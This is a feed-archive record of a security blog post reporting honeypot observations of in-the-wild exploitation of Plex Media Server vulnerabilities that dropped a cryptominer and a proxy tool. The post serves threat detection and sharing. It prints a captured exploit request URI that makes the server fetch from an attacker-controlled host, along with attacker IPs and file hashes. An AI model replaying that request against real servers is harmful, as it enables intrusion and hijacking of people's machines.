{ "description": "Browse aymeric's, an independent, searchable archive of readable snapshots from followed feeds, preserved in Git with aggr.", "feed_url": "https://aggr.aymericbeaumet.com/sources/boredhackerblog.info/feed.json", "home_page_url": "https://aggr.aymericbeaumet.com/sources/boredhackerblog.info/", "items": [ { "authors": [ { "name": "mindracer" } ], "content_html": "

Intro:

\n

(No AI was involved in writing, research, etc...)

\n

If you see weird fonts and spacing, blame Blogger.

\n

Skip to "In the wild exploitation" if you just care about that part.

\n

It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about.

\n

I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)

\n

Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319

\n

As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.

\n

The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything.

\n

Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time.

\n

Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool.

\n

CVE's:

\n

CVE-2026-96652

\n

CVE-2026-96654

\n

CVE-2026-96655

\n

CVE-2026-96656

\n

Here's their code: https://github.com/code-zm/plex2shell/

\n

I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap

\n

Plex2Shell In the wild exploitation:

\n

My honeypot mostly saw scanning and generic exploitation attempts.

\n

As of this morning (Oct 17th), I finally saw in the wild exploitation.

\n

So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.

\n

Here's what I observed:

\n

First exploitation attempt came from 45.194.92.222. From zeek logs:

\n

 "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
\n  "user_agent": "Python-urllib/3.10",

\n

The following two IP's were seen doing exploitation as well:

\n

91.92.40.202

\n

176.65.139.228

\n

\"\"

\n

I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222.

\n

This time I did see in the logs that there was a file download happening from 217.60.194.116.

\n

\"\"

\n

 The following was contained inside of the docker file:

\n

\"\"

\n

Of course it's a cryptominer.

\n

\"\"

\n

IOCs:

\n

For detection of the attack, look at my github pcap link and source code from the main author.

\n

This is just for what was seen on the honeypot.

\n

IP's responsible for exploitation as of writing this:

\n

91.92.40.202

\n

176.65.139.228

\n

45.194.92.222

\n

176.65.139.228

\n

Malicious file download source:

\n

217.60.194.116 (docker & x)

\n

File hashes:

\n

5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker

\n

68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)

\n

b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)

\n

EDIT: Oct 17th, 2nd update:

\n

Seeing more activity and I dropped artifacts on Github.

\n

\"\"

\n

\"\"

\n

Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)

\n

\"\"

\n

Hashes:

\n

e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9  myawesomeproxy

\n

2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db  xmrig

\n

Here's what it prints when running:

\n

"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"

\n

\"\"

\n

My sandbox reports for myawesomeproxy:

\n

https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f

\n

https://tria.ge/261017-3ytcaady7p

\n

https://tria.ge/261018-ab8jgady9p

\n

I see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party

\n

similar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html

\n

https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection

\n

EDIT: Oct 18th, 2nd update

\n

After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

\n

The person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection

\n", "date_modified": "2026-10-19T13:36:43+00:00", "date_published": "2026-10-19T13:36:43+00:00", "external_url": "http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html", "id": "urn:aggr:item:a55536d9f56d08394bc0fafdceacbe5beaff4787", "image": "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3tUKB_Vp0xqfjedxvomT5LC4IfbyHTmtcE5mc_57DEPoEXL9DSq7f2T4HMJ26wf-VkPNPyBKzIm5jMIXoWzT4Rcchapu9cpzeT14d1MYmHhhyphenhyphenlfY0ASPbRYzyumorq6xHJ-0WMIarOSDjhpa_W0XI6o8WuIp_T1wzQgKzIGfFdiwMdf5FAiffEzavMK4/w1200-h630-p-k-no-nu/image.png", "summary": "Intro: (No AI was involved in writing, research, etc...) If you see weird fonts and spacing, blame Blogger. Skip to \"In the wild exploitation\" if you just care about that part. It's just a cryptominer. On one hand that's not a big deal for…", "tags": [ "news" ], "title": "Plex vulnerabilities being exploited in the wild to drop a cryptominer", "url": "https://aggr.aymericbeaumet.com/items/hnrss-org/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a/" } ], "language": "en", "title": "boredhackerblog.info", "version": "https://jsonfeed.org/version/1.1" }